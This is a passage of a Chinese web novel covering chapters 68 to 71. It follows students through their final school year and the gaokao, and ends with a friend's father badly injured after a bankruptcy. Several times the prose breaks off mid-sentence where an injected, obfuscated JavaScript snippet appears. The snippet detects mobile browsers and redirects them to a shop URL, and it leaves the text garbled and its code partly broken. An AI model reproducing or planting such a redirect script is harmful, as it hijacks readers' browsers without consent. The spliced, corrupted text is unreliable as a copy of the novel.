江韫北没劝什么,陪他站一会,风稍大了,才搂着他往回走,没大没小地教育他,“老江,你这回有点孩子气啊,以前我哭着喊着不让他们走,你还揍我呢。失策,忘记录下来给他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019797|134140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看,老小孩,羞不羞!” “臭小子!”阿爷中气十足地骂他,“他们今年都第几回出差了,今年这行情,生意不容易做啊。” “你以前不是总说,做什么都不容易吗?你年轻那会当兵,保家卫国不容易,他们现在奋斗事业不容易,我呢,朝六晚十一的,读书考试,也不容易,一代人有一代人的不容易嘛。一家人平平安安的,过得快乐,什么不容易的,也都算值。” 阿爷意外,也有些欣慰,“臭小子,长大了。” “那可不,我现在能把你背回家,要不要试试?” “免了,一把老骨头,再给我碎了。” 一周后,交上去的卡片被还回来。无数个心愿与梦想,变成一张张不同学府、院校的照片,还附赠一个相框,让他们装裱起来,放学校,放家里都可以。人有时需要一些心理暗示,尤其在高压紧绷,或情绪崩溃时,温沁说,这一年,他们或许会经历很多个这样的时刻,靠不了别人也无法靠别人,她希望,这张照片,能给他们带去一点慰藉和力量。 “有些同学没有明确写,可能还在犹豫,我按着你们给的一些提示,擅作主张选了几所,你们挑喜欢的,等有明确目标了,再来找我换。” 没有写明目标的徐澄月,收到三张照片,都是在艺术、设计专业比较出名的学校。她想了想,还是挑了其中一所,装进相框里。 摆上桌,另一边传来一阵爆笑,被嘲笑的主人公,正十分嫌弃地推开笑趴在他桌上的同学。徐澄月过去八卦,他们将桌上那相框一转,照片是北京大学的正门,便知道他们在笑什么了,但她心里有点不舒服,虽然知晓同学们并非有意,“北大怎么了?江韫北不能考北大吗?” 江韫北感受到有人撑腰的底气,立马附和:“就是,我怎么就不能写北大了!北大的墙太高还是门太窄,容不得我进去!” 同学说:“是分数太高。” 江韫北无言以对。 徐澄月站到他身前,“听没听过后来居上超常发挥,才刚开始,瞧不起谁呀!再说了,梦想不就是用来梦的吗,梦个大点的怎么了,这都要抠抠搜搜的,以后怎么成大事!” 江韫北眼底发光,仰望着徐澄月:“就是就是!” “小江子,走,咱去20班找阿敛和俞麒,蹭蹭他们的运气。实现梦想,靠实力,也要靠运气!” “得嘞!” 两人摆驾前往20班。 人前帮江韫北撑起势,人后徐澄月忍不住揶揄他,“真想考北大呀?” 江韫北挠挠头,说瞎写的,自己几斤几两他还是清楚的。 “也不是不行,累一累,冲一冲,说不定呢。” “我可没那么大志向,倒是你,学校不写,画琳姐家做什么?” 徐澄月乐了,没想到他能看出来,“以后你就知道了。” 江韫北追问:“那现在呢,你想考哪所学校。” 徐澄月还真没想好,她摇摇头,说:“考到哪算哪。” “哦,那就考到哪算哪吧。” 68. 第 68 章 温沁是位极其负责任的老师。进入高三后,担心高压之下他们会有情绪问题,每两周的班会课上,会让他们写下近期的感受,一个词,一段话都可以,想借机查看他们的状态。 十二月中旬那次,徐澄月写下的是生命力。 比起前两年,尽管沉默许多,但每个人都在用力生长。 “面对叠成千张(豆腐皮)厚的试卷,大家不再是抱怨,而是脱口一句‘这是哪个学校的模拟卷,比我们的难吗,有实验中学的吗’,很难想象,以前多一页练习册都要讨价还价的人,现在居然主动要练习卷,但又是情理之中。高考好像让我们变成一只永远也吃不饱的饕餮,拖着笨重的身体,却拥有比极昼极夜还亮的眼睛,四处寻找食物。” “偶尔也觉得无奈,身体被学习主导,情绪由考试操控,其他时候心如止水,只有成绩和排名出来时,才会切切实实感觉是‘我’在经历这些事,像一壶沸腾过放凉又接着沸腾的白水。非常糟糕的体验,这不是我希望的最后一年,所以有时我会停下来,去看见,去感受。” “我看见老师们为出一张卷子,办公室一坐一天,蓬头垢面也不在乎,到点上课了,眼镜擦一擦,夹着书端着保温杯就过来,有时会因为我们在一道傻瓜题上栽跟头而捶胸顿足,会着急劈头盖脸骂我们一顿,也会硬挤出点时间,用他们过去的经历来安抚我们。看见成绩不理想的同学,躲在窗帘后哭,怕其他同学发现,不敢用纸巾,只能悄悄把眼泪抹到窗帘上,然后继续埋头到书堆里。我想,等高考结束,窗帘上的眼泪,会灌溉出一朵花来。看见同学们像战场上互相扶持的战友,即使自己分身乏术,也愿意为战友排忧解难,扛不动,拖也要将人拖向终点。” “这样看来,这杯白水也并非那么寡淡嘛,有些人会偷偷往里面加‘调料’。晚上十点,操场的风声有一丈厚,我们边跑边背书,跑累了往草地上一躺,身体挨着身体,呵着白气,还不忘提问‘盖将自其变者而观之’的下一句是什么,一篇背完,就开始瞎聊,我们的声音薄成一张纸,但开心有风那样厚,比山楂球还甜。傍晚小测,听见楼下有人在喊‘今天晚霞好美’,大家会齐刷刷停笔,拿读题干的几十秒去观赏晚霞,动作比做操还整齐。有时周末会回去看阿爷阿嬷,太阳很好,我们在天井里学习,学累了看到太阳下的墙,像烤好的番薯皮,于是,那个下午的幸福,是满手黑和香喷喷的烤番薯,当然,还有做完的卷子和练习。” “这些事以前其实也做过很多,但或许是在争分夺秒中挤压出的片刻放松,所以格外珍贵,也格外难忘。” 一张纸写到底,徐澄月才发现自己从一个词扩写成一段话,现在变成一篇小作文。她看看其他同学,都已经搁一边在刷题了,她耸耸肩,继续收完尾,她倒不在意多用这二十分钟。 再通读一遍,她被自己写的食物馋到,咽着口水细数:“千张,山楂球,烤番薯,再有一份红糖豆花就好了,好想吃啊!” 岳清卓听见她的嘀咕,连忙把自己最后一块巧克力撕给她,生怕她一饿之下把试卷当食物吃了。 第二天上学,徐澄月看见这几样食物摆在课桌上,包得严严实实,包装盒闷出一层薄薄的水雾。 “哟这谁买的,你昨天说想吃,今天就有了?”岳清卓看见自己那份,恍然大悟:“是我弟吧,难怪今天那么早出门,知道孝顺姐姐了,孺子可教。” 徐澄月转身,望过去,他睡得四仰八叉,灰色羽绒服把整个人裹进去,只留出两只冻红的手,搭在课桌边。猫随猫爸,这回知道烤鸽睡姿的源头了。她偷偷拿手机拍下,把暖手袋灌满热水,过去轻拍他,发出指令,“手握住”。他换一边胳膊枕,握住暖手袋。 过了几天,交上去的“感受”发下来,温沁照旧一一回复。 徐澄月发现,同学们都不约而同停下来,捧着纸认真读,期待中藏着迫切。 她写得太长,温沁的回复写在反面: 澄月,很高兴收到你这么认真的分享。我很喜欢你这次记录的词,也很喜欢你观察到的一事一物,字里行间,我感受到属于“徐澄月”的生命力。 这是段让人心疼又十分敬佩的经历,也是每个人都不能跳过的经历。有人觉得像一杯白水,有人尝到酸甜苦辣。在这个时候愿意停下来去感受,我想你一定是个内心强大、坚定,非常相信自己的人。高三确实很重要,但如果可以,我希望你们的高三,不止有书本和试卷。 我在努力实现,也非常欢迎你来加入。 徐澄月看了两遍,才夹到练习册里。观察会周围,发现好几个同学红了眼圈,顿时明白,大家不仅像期待看到作文评语那样期待温沁的回信,更希望某些不能外露或不可诉说的心思,得到认可。 高考,真是磨人,但也会佩服,努力走过高考的自己吧。 只是有点可惜,他们几人中,俞麒没能拥有这段经历。 他拿了物竞国赛金牌后,就去了国家集训队,保送是板上钉钉的事。虽然不用经历这一年,但竞赛的苦不必高考少,好歹他们是一大群人并肩作战,他孤身奋战,还一个人走到最顶端,现在又在陌生的城市继续。徐澄月想,他性子本来就冷,在集训那种只有冰冷数字没有什么人情的地方,回来不会变成一个只会刷题的做题怪吧。 她越想越紧张,只好隔三岔五向他请教物理题,顺带关心他在那里的日常起居,希望他不要变回刚来云水村的俞麒。 2009年过年,朝中只放两周假,几人学到除夕那天才回云水村,学习资料一概没带,决定过个轻松年。 家长们心疼他们好几个月来的劳累,从早忙到晚,这家炖锅鸡汤,那家炸点丸子,另一家煨锅肘子,几人从巷头窜到巷尾,从这家窜到那家,年夜饭还没开始,就将肚子填个半饱。 江家的席刚摆上,江韫北就接到电话,风风火火地穿衣服去村口接自家父母,见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14074289|134140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到只有母亲一人,兴冲冲的劲儿没了一半。接过母亲的行李箱,他不太相信地往车里再瞧瞧,空无一人,“江老板呢,怎么大过年的还不回来?” 江妈搂着儿子,余光瞥他的脸色,“不高兴啦?” 江韫北没承认,脸却臭臭的,“江老板怎么回事,都说钱够用就好,干嘛年不过去做生意?该不会……”他想到某种不好的可能,担忧地问江妈,“他在外面?” 江妈看懂他的眼色,伸手打他,“你这孩子,瞎想什么呢?我们成天在一起。” “真没事?”不怪他瞎想,先有姑姑那事,又有俞叔屏姨冷不丁离婚,他现在敏感得很。 江妈故作凶相,“晚上给你爸说,等他回来揍你!” 江韫北觉得屁股上一凉。 回到家告诉阿爷,阿爷虽理解,但也不舍。 江韫北便替起父亲角色,陪阿爷回忆他年轻时的风华盛事,陪江妈聊家长里短,陪姑姑聊她的生意经。一顿饭下来,讲得口干舌燥。 坐在他身边的岳清卓,见他侃侃而谈,一面给他空杯子加饮料,一面欣慰,她疯疯癫癫的弟弟好像长大不少。 发红包环节,他们收到江妈比往年厚出一倍的红包。江韫北掂掂重量,猜测:“妈,你不会打算把后面几年的压岁钱都给了吧?” 江妈笑着瞪他,又翻出几个让他转交给徐澄月几人,“下半年就高考了,身体消耗大,想吃什么就多买点,我和你爸,这两年有些忙,不过最后一学期了,我们会尽量多回来陪你。” 对他们的忙碌习以为常,加上身边一直有人陪着,江韫北对他们这一年的缺席不是很在意,除了有时身体不舒服会莫名委屈,大多数时候是能体谅的。于是反过来安慰她,让他们安心工作,不用太牵挂他,也不用硬挤出时间回来,有空打打电话就行。 他想淡化一点母亲的愧疚,没成想惹出她的眼泪,他有些惊讶,这是他第一次直观感受母亲的脆弱。 之前一直听阿爷说经济形势不好,生意不好做,以为是工作压力大,江韫北只能以玩笑方式劝他们别太拼,他没打算当富二代。阿爷和姑姑也在一旁打配合,成功止住江妈的眼泪。 过后他不放心,让姑姑再去旁敲侧击问一下母亲是否有心事,姑姑打探完告诉他,是因为觉得缺少陪伴他而愧疚。他没再去安慰母亲,只是待在家的时间变多。也给父亲打去电话想宽慰一番,但始终没打通,母亲解释说最近和客户交涉比较多,手机要么停不下来,要么电耗完了。没办法,关心只能由母亲转达。 过了初八,徐妈就得回阳城,大概是看着别人合家团圆自己却不得不为工作离开,愧疚加重,临走前一个劲唠叨叮嘱,江韫北一句句听着,让她放心。 “钱不够花就告诉我们,别省着,好好照顾自己,学习紧也要适当休息,学校有什么事需要我们的,就打电话,知道吗?” 江韫北说知道,目送她开车离开。 69. 第 69 章 最后一学期无疑更紧张。恨不得把所有时间压上去,吃饭争分夺秒,喝水用超大容量的水杯,倒两次就能喝上一天,桌上有角落放着提神清凉油,课间十分钟犹豫是去找老师答疑,还是再多测一道题的解答时间。 即将到来的第一次模拟考,最接近高考难度的测试,是对大半年准备的检验,也是对自己的一次摸底,每个人都焦虑不已,但也期待。 两天考试在第一场春雨里结束,走出考场,天放晴。 四份试卷折磨得人筋疲力尽,却被映着阳光的水滩治愈。不知道谁先带的头跳进水滩里,一层水珠溅到徐澄月,她失魂般站几秒,脚用力踩进水滩里溅回去。这像个信号,解压、发泄、放松,而后一群人加入这场混战,到处都有水珠、尖叫、大笑和阳光。 每个人的鞋都湿了,每个人湿漉漉的心情,都被太阳晾干。 一模成绩在一周后出来,有人欢喜有人愁。 前十名照旧是20班,俞麒已被保送北大物理系,这学期清闲不少,不用参加任何考试,与他不相上下的方之敛稳坐第一,一模一举拿下市第一,省第五。 徐澄月有悠闲人士俞麒一路保驾护航,数学攻克110大关,成功考进年级前50,按往年分数线,一本线绰绰有余,再多考个10-20分,可以够上重点大学。 岳清卓和她实力相当,只剩江韫北,拼死拼活努力这么久,勉强够到一本线。 眼见和伙伴们距离越来越大,他挫败不已,像褪出丑陋翅膀的蚕,一头闷在蚕茧里不肯出来。倒不是因成绩不如他们而自卑,自知对学习不太上心,从没想过要到他们那样的高度,只是起码得在他们所在的圈子里,哪怕在边缘,可惜努力不见成效。 但他是个心性好的,也能听进别人的劝慰,徐澄月一句“江韫北,你这次进步了十个名次呢”,就乖乖扯开蚕茧飞出来了。 重新来过,没什么大不了的,只是苦头得成倍吃,一来二去,又把自己给折腾病了。 江妈在电话里听江菀描述他的病况,急得当天晚上赶回来,守了几天等他恢复,打算赶回去。 带病的江少爷成娇气包,心生不舍,想去送她,被一伙人拦下。 江妈见状,也有些不忍,只好留多几天照顾他痊愈。没敢等他放学,白天偷偷离开,江菀去机场送她,塞给她一张银行卡,她沉默收下。 病后生龙活虎,江韫北准备继续作战计划,身边几个人却担心他再把自己造坏了,严管他的学习和作息,每天拉他去锻炼身体。 徐澄月把他往足球场上推,拿以前他的话教育他,“还说我呢,现在自己不也是一坐一天,眼睛和脖子不要了?抵抗力也差了,隔三岔五生病。” 江韫北满足她,颠几下球,“哪有那么差,本少爷现在上去踢一整场都不带累的,这不是时局所迫嘛。” 懒得听他狡辩,徐澄月直接把人交给他们球队,在树荫下等着。 杜可颐跑完800米回来,坐在她身边歇气,看着场上奔跑的人和逐渐热闹的场边,笑着打趣:“江队长重出江湖了?” 徐澄月眼不离题,“再不出江湖,宝刀就要生锈了。” “江队长这一年虽然少在江湖,但江湖上一直有他的传说啊,”杜可颐拎出来一袋东西,“瞧,这才刚出来,就有人闻着味来了。” 徐澄月用笔扒开袋子,里面有药、牛奶、钙片、核桃、彩色的对折再对折的纸,她不解地看向杜可颐。 “我话剧社一个学妹让我转交的,喏,边上穿红外套那个。” 徐澄月顺着她手指方向看去,学妹眼盯场上,面带微笑,手里握一瓶水。人都来了,怎么不自己给。 杜可颐说:“怕他不收嘛。”虽然转交的大多也不收,收了也是分给周围人。 “哦。”徐澄月看回题目,文字和数字变成一片彩色。 “哎,他们停了,正好拿过去。” “可颐!”徐澄月第一次发现舌头不受大脑控制,“别给他了。” “啊?” “要高考了,学习的时间都还没呢。”哪有时间应付这些,这话没说,但再说下去就要出事了。 徐澄月阖上练习册,带上自己的水杯,跑向足球场,和他们聊开,问东问西,不经意露出水杯,等江韫北一句“渴死了,水给我”,她不太情愿地递过去,恶声恶气的:“记得打满还回来。” 还在树荫下的杜可颐,目睹一切,再看看周围,树还绿,木棉花还开着,鸟也在不停叫,别有深意道:“哦,春天还没结束。” 进入百天,誓师大会结束,时间像按了倍速。 二模考完,江韫北在坚持不懈和“四大护卫”帮忙下,考进100名内,比一模多了三十分,终于在一本线上冒头。 下晚自习,在徐澄月家吃宵夜,得知他进步不少,徐妈大力夸他,询问他的进步感想。 江韫北从锅里抬起脑袋,煞有其事地咳两声,拿漏勺当话筒:“首先,我要感谢我的战友,是他们不分昼夜帮我解难答疑,其次,我要感谢我的阿爷姑姑、徐姨徐叔、方姨方叔,还有屏姨,对我身体上的支持,好吃好喝养着我,最后,我要感谢我爸妈,虽然没在我身边,但给了我最大的支撑。对了徐姨,我妈最近给你打过电话吗,我打了好几次都没接,我爸也是。” 江妈说到做到,最近能每月回来一趟,虽然待不久,但不至于像去年,两三个月见一次,但江韫北奇怪的是,他爸从没回来过,不是出差就是公司临时出了事需要有人料理。前面倒还能通电话,四月份开始,就没打过。 “打,打过啊。”徐妈避开他的视线,给他们切芒果,“你们呐,两边都忙,时间又对不上,他们有时就打到我这来,我说你很好,学习用功,吃得也多,压力什么的,也没有,我没说错吧?” 江韫北赞许地给她竖拇指。 徐妈笑了笑,“他们说最近又有比大单,才没能回来,但让你放心,做完这笔他们就休假。” “行吧,没事就行,我还以为他们出什么事了。”他埋头继续吃馄饨。 怕他不开心,徐澄月岔开话题:“你刚刚感谢了一堆人,怎么不感谢自己?” 江韫北喝掉最后一口汤,揉着肚子长舒一口气,“感谢自己做什么,本来就该我做的事。” 徐澄月摸烤鸽一样摸他脑袋,“觉悟很高嘛。” 几人帮着收拾好碗筷,各自回家。 睡前,江韫北又给父母打一次电话,这回接通了,他开心得很,和徐妈聊起最近的事,没问他们什么时候回来,怕他们挂心。通话最后,他反应过来江老板又没出声,“我爸呢?” 等了一会,那边传来一声轻轻的“小北”,江韫北咧嘴,正要顺着好好“质问”一番,声音换成徐妈,说又给叫走了。没办法,只好让他们注意身体,便挂了电话。 试卷摊在书桌上,想继续做,却不断想起刚刚的电话,心里莫名不舒坦,犹豫着再打一次,房门被敲响,他姐狗狗祟祟猫着身体,问可不可以进来。 江韫北翻个白眼回应,“你林志玲附身?” 岳清卓恢复本性,豪爽地踢开门,跳到他床上,滚了两圈,觉得他的床舒服,说今晚和他换床睡。 江韫北小声嘀咕:“阿敛知道不得把我灭了。”他推推卷在被子里的人,“快回去睡觉,我还要写卷子。” “几点了还写?又熬夜,身体不要啦?不许写,和我聊天。” “和你聊天就不是熬夜了?” 岳清卓不管,闹得他坐在床边和自己聊天,“弟,你是不是有点不开心啊?” 江韫北哼一声,“是,你霸占了我的床。” “我说的是,舅舅舅妈没回来。” “有点吧,”江韫北沉默一会,别扭地承认,“你说是不是养我比较费钱,他们才这么拼命做生意啊?” “什么?” “你看,我吃得多花得多,徐澄月说的,我还喜欢当散财童子,但他们从来没限制我花钱,还总担心不够,我以后是不是得少花点?” 岳清卓挠挠头,犯难了,阿敛没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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挥舞着手机小小的光束,他们从《不想长大》唱到《童话》,从《一直很安静》唱到《一千年以后》,从《知足》唱到《小情歌》,从《曹操》唱到《三国恋》,从《听妈妈的话》唱到《稻香》。 如果不是主任赶来,或许他们可以唱到天亮。 “没唱过瘾,考完去KTV吧!”有人提议。 大家继续哼着歌,大声应好。 最后一天上课,老师们没再讲题,而是将各种考试玄学和非科学验证纯靠运气的小技巧倾囊相授,总结下来几句话:不要留空,听力注意转折词,题不会背的所有公式都写上去,字尽量好看,老师会给辛苦分。 每一句叮嘱,都期待能为他们挣多几分。 离校前要布置考场,教室里装满学生们所有家当,一次带不走,学校腾出走廊尽头的空地,给他们暂时放置。 桌子靠墙一张张被叠起,书本试卷一堆堆累成和桌一样高,两样东西占了三分之二的走廊。 最后一点东西搬完,梁嘉和说:“走吧,他们要围封条了。” 徐澄月没动,心里空落落的,总觉得好像把他们日夜陪伴的伙伴给遗弃了。 “走吧。”江韫北陪她站了会,拍拍她的肩膀,“考完试再来接他们回家。” 徐澄月弯起嘴角,“好。” 他们往回走,身后走廊柱子框出一片晚霞,橘红,耀眼,在慢慢落下。 两天考试是大晴天,徐澄月记得很清楚,因为前两年都下了雨。这似乎是个好兆头。 他们由父母一路护送,通过检测,进入考场。 试卷从密封袋内拿出来,几个小时后又被装进去。 徐澄月在的考场,老师特别有仪式感。贴上封条后,她笑着,轻声和他们说:“同学们,恭喜你们。” 之后是狂欢,无尽的狂欢。 有人在床上睡得天昏地暗,有人球场上尽情奔跑,有人打开封锁的柜子,有人常驻拳馆,有人在谢师宴上和老师称兄道弟,有人在同学会上告白…… 他们有数不清的事情要做。 深夜,狂欢退去,万籁俱静。 江韫北接到一通电话。 70. 第 70 章 江韫北是晚上连夜走的。 第二天岳清卓接到江菀的电话时,他们已经到北京。询问过大人,才知道江爸江妈的公司早在三月份就宣告破产,五月份,江爸就出了事。 具体什么原因,大人们并没有详细告知,只知道与去年那场金融危机有关,短短几个月,江爸几年的积累付之一炬,只剩一堆出不去的货物,欠了好几笔债,东拼西凑还了一些,但还不够。讨债的人以跳楼来威胁要钱,江爸苦口婆心劝慰和保证,最后为救已经松动却失脚掉下去的人,自己坠了楼。而那人,当场死亡。 江爸被抢救过来,但一直昏迷。 怕影响江韫北高考,江妈让所有人瞒着,直到昨晚江爸再次进手术室,才让小菀姑姑带他过去。 “五月份?”徐澄月依稀记得,有个周六晚上,他们在家学习,徐爸徐妈接了一通电话就匆匆离开,一个说有一批货要送,一个说培训,好几天才回来,“是不是当时?” 徐妈点头,“阳城的医院不敢接手,连夜转去了北京。” 大约是担心他们害怕,徐妈说得简略,几人还是听得如坠冰窖,堕楼、昏迷、死亡,这些词离他们太遥远。 “那现在呢徐姨?我妈说昨晚我舅舅又做手术了。”岳清卓眼眶红着,接电话时哭了一回,现在也还没缓过来。 徐妈抱住她安慰:“你舅妈来电话了,说手术成功,人还没醒。” “韫北呢?”方之敛记挂好友,虽是为他好,但被隐瞒这么久,他的担忧与自责,只怕更深。 徐妈叹气,摇头,“这孩子,估计得难受一阵了,你们没事多给他打电话,对了,阿爷那,得先瞒着,他年纪大,受不了刺激,等你们江叔情况好转了再说。这几天回去陪他,问起小北,就说被江叔江姨接去玩了。” 几人应下,面色凝重。 傍晚回云水村,还是工作日,车上空荡荡的,后排只坐了他们几个,每个人心里都藏着事,这是他们第一次在沉默中回家。 快到站,徐澄月说打起精神,阿爷肯定高高兴兴等他们回去呢。 果真,阿爷照旧等在站牌下,这回阿嬷也来了,说迎接小功臣回家。不见江韫北,两人自是疑惑,还算镇静的方之敛和俞麒,三言两语应付过去。 阿爷准备了庆功饭,满满当当摆着他们爱吃的菜,还说等他们成绩出来,要给他们办升学宴,要让村里人都知道,他的孙子孙女们,成绩一个赛一个好。 岳清卓听着听着,视线触及空出的位子,一不小心掉了泪,把阿爷急坏了,以为是小孙女没考好,他这么大张旗鼓的惹人不开心了,连忙找补,说没考好也照样办。 徐澄月一面搂过她安抚,一面让阿爷放心,“清卓只是提前因为上大学离开家伤心。” 阿爷松口气,朗声笑,“小女孩哦,这么恋家可怎么行,要出去看看闯闯,别叫臭小子们看笑话。” 俞麒顺着将话题带过,方之敛帮着安慰,让岳清卓止住眼泪。 隐瞒阿爷不是件简单的事,尤其是阿爷有时无意识说出好久没见儿子儿媳,没见气死人不被气又浑身不舒坦的小兔崽子,徐澄月心生不忍,又怕说漏嘴,只能捡一些江韫北做过的趣事,来转移阿爷的落寞。 也在等他的电话,所有人都在等他的消息,在外训练的俞麟,还有被父母带去旅游的何意霖。 那天接到她的电话,说江韫北有消息了,能和她说一下吗?哭腔和太过客气的请求,徐澄月隐约感觉到什么,但何意霖没说,她便没有问。 直到出成绩前三天,一个晚上,徐澄月从梦中惊醒,再睡不着,上屋顶吹风,11点,接到他的电话。 她庆幸又激动,差点握不住手机,压低嗓音喊一声“江韫北”。她半个月没喊过这个名字了,熟悉的音节浮到嘴边,眼眶一热。 “嗯,是我。”他的声音疲惫又重,像村口那台使用过很多年,启动很费劲的拖拉机。 “你还好吗?江叔怎么样了?”不知道该不该问,但不得不问。 他说:“我爸还睡着,从重症监护室转出来了,现在一切稳定,我妈陪着,我在医院的小花园,我……还好。” “稳定就是好消息,说明有在好转,江叔舍不得你们,一定会醒的。” “嗯,我也这么和我妈说的。” 除了这样的话,徐澄月不知道该怎么安慰他,“你最近有好好吃饭吗,住哪啊?” “有吃,我妈在医院边上租了间房子,住那,来回方便。抱歉啊,来之后有好多事要帮忙,就忘了和你们说,不用担心,我挺好的。” 磨难真的能让人成长吧,以前碰到点小事都要逢人诉说委屈的人,开始学会用“没事”“挺好的”遮掩难过,回应关心。徐澄月多希望他能抱怨,抱怨什么都可以,好让她的关心,有处可落。 大约不想她伤心,江韫北换了话题,“你现在在哪?老厝?屋顶?” 她无声擦掉眼泪,“算得真准,江半仙。” “一个人?”他语气轻松起来,“可注意点,别掉下来,没人能接住你。” “不是还有你吗?小时候说我胖都能接住,现在接不住了?” “现在,”他轻轻一笑,“现在我不在你身边啊。” 或许是他顺嘴的一句,却叫徐澄月突然意识到,这些天的失落和郁闷好像有了另一个原因,他不在。 “放心,掉不下去。” 他还是不放心,又叮嘱几句,才转了话头,“再有三天就出成绩了吧,想好报什么志愿了吗?” “想好了,我想去远一点的城市,一直待在这边,有点无聊。” “远一点,北京吗?”俞麒保送北大,阿敛想学医,不用说也是往北京去,“可以啊,正好几个人还在一块。我姐呢,她也是吗?” 徐澄月早打算好,“不去北京,我想上的专业,北京那几所分数不够。可能会往江浙一带去,清卓,”徐澄月稍顿,想起她的极力坚持和小菀姑姑的极力反对,笑说,“她想读警校,姑姑不让。” 他震惊,倒也觉得意料之中,“岳清卓这志向够远大啊,不愧是我家最强的姑娘。不过她那身拳脚工夫,和一股行侠仗义的傻劲,也就警校能收。” “但姑姑死活不同意,两人闹好几天了。” 他笃定道:“胳膊拧不过大腿,姑姑会同意的。” “那你呢?你想去哪?报志愿那几天,你会回来吗?” “我……”他沉默许久,开口迷茫:“不知道,徐澄月,我才发现,我是个没有梦想的人。从前吧,经常和阿爷开玩笑,说靠着江老板,能好吃懒做,不学无术,现在好了,真不学无术了,也不知道考出个什么成绩,能上哪去。” “你别这么说,”徐澄月着急道:“最后几次模拟考你都考得很好,阿敛和俞麒都说一本没问题,专业什么的,大家也不懂,都是挑喜欢的,以后再学,一切才刚刚开始呢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14111980|134140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他又是一阵沉默,而后语带笑意,“嗯,你说得对,那就……和你一道吧!同个学校可能够呛,你顺便帮我看看我够得着的学校呗。” “江韫北,你确定吗?” 大学的选择,对他们来说意味着许多,未来几年的生活,毕业后的工作,这不是条可以回头的路,也不是条为了某些非客观原因而选择的路。 他毫不犹豫:“确定。” 这回轮到徐澄月沉默了,她想问很多,但清楚现在不是好时候,“好,我明天给你找。” “行,不早了,快回去睡觉,有什么情况,我再给你打电话,对了,和我姐阿敛他们也说一声,不用担心我,我挺好的。” 这通电话后,徐澄月把找好的院校按分数高低、志愿先后顺序给他列好发去,他回了个“好”,之后又没消息。 徐澄月耐心等了一周,没有等到。 一天下午,她把伙伴们叫到她房间开会,她想去北京看江叔江姨,也看江韫北。 “大人们不会同意的。”岳清卓觉得这事可行性低,“一个在南一个在北,太远了,他们肯定不放心我们自己去。” “我们始终要自己出门的,就当提前适应。路费和去那里需要的花费,我们自己挣。”徐澄月从父母那探听到,几家人的积蓄,除了留一部分给他们上学和生活,其余的都拿去帮江叔江姨渡难关,就连远在美国的俞叔,也托屏姨转交了好几次,现在估计是没闲钱支撑他们这趟出行。 徐澄月继续说:“来回火车票大概1000元,在那一周的花费,我们几个人省省,带两三千应该够。那天胡烁约我出去,我们逛了一个夜市,那里好多摊在卖各种摆件,我可以把我那一柜子木雕拿去卖,我给琳姐看过,她说卖得出的。” 方之敛原本认真听着,一个关键词闪过,他思量着问出来:“胡烁约你出去的?” “对,前天约的。” 方之敛委婉打探:“他有没有说什么?” 俞麒抬眸,落在他不太自然的脸上。 徐澄月不解:“要说什么吗?” 大概是没说什么,方之敛岔开话题,“没有,继续说这个。你去摆摊的话,我和俞麒可以给人补课,听我妈说,院里有挺多高中生。” 俞麒赞同,“我和阿敛成绩好,补课应该可以挣多点,你们俩不用那么累。” 岳清卓说:“那我去拳馆当陪练,还有儿童组跆拳道教练。” 只剩俞麟,他还在紧张训练,估计去不了,徐澄月便没算他的份,“好,我们先试一个月,看能挣多少,暂定8月10号去。” 说定下来,几人铆足劲干。白天他们三往外跑,徐澄月就在家做木雕,晚上他们一块到夜市去,帮她摆摊。 有时他们晚上有课,何意霖,梁嘉和、杜可颐和胡烁几人会来搭把手,还给她招揽了好些生意。除了何意霖,剩余几人不知道江韫北的事,徐澄月也都没说。 四人中,徐澄月攒钱是最慢的,他们十几堂课下来,能攒出车费,她不行,来逛夜市的,不会花太多钱买这些,只能便宜卖,几块、几十,一点一点攒,一些费工夫的,标价高,几乎卖不出去。 捏着干瘪的钱包,她失望又庆幸,志愿单上把工艺美术划掉了。 直到一天晚上,有对情侣经过,那位姐姐看中她一个月亮钟,主动抬高了价格,还将她那晚带出去的全买了。 这笔生意,让她攒够了车费。 71. 第 71 章 为省钱,他们买了最早的一趟火车,全程将近20个小时。 说服大人并没有费太多工夫,听到他们的计划,又得知已经将路费生活准备妥当,徐妈挨个拍过他们的脑袋,欣慰地说:“孩子们长大了。” 只是还是不放心他们独自出行,想让一个大人带着,但清楚他们有的工作忙,有的想多挣点再出份力,几人拒绝并再三保证,才让大人们把心揣回肚子里。 